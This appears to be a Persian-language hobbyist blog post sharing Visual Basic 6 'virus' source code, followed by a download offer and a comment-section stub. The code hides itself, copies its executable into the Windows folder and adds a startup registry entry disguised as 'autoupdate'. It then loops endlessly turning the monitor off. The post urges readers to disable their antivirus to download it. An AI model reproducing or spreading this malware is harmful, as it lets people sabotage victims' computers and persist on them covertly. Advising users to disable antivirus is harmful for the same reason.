|
سلام به همه برو بچ ویروسی
این ویریو که اینجاا نوشتم مانیتور رو خاموش می کنه و استارت اپ (startup) هست
دقیقا این کد رو در قسمتی که تو ی اون کد می نویسید کپی کنید
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MON_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Sub Form_Load()
Dim fso As Variant
Dim windir As Variant
Dim file As Variant
Dim file2 As Variant
Dim reg As Variant
Me.Hide
App.TaskVisible = False
Set fso = CreateObject("scripting.filesystemobject")
Set windir = fso.getspecialfolder(0)
file = App.Path & "" & App.EXEName & ".exe"
FileCopy file, windir & "" & App.EXEName & ".exe"
file2 = windir & "" & App.EXEName & ".exe"
Set reg = CreateObject("wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentversion
unautoupdate", file2
do
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MON_OFF
loop
End Sub
بریییید حال کنید
نامرده هرکی نظر ندههههه
از اینجا می تونید این ویروس رو دانلود کنید
اگه از آنتی ویروس استفاده می کنید برای دانلود این ویروس باید اونو غیر فعال کنید
نظرات شما عزیزان:
|
تبادل
لینک هوشمند
آمار
وبسایت:
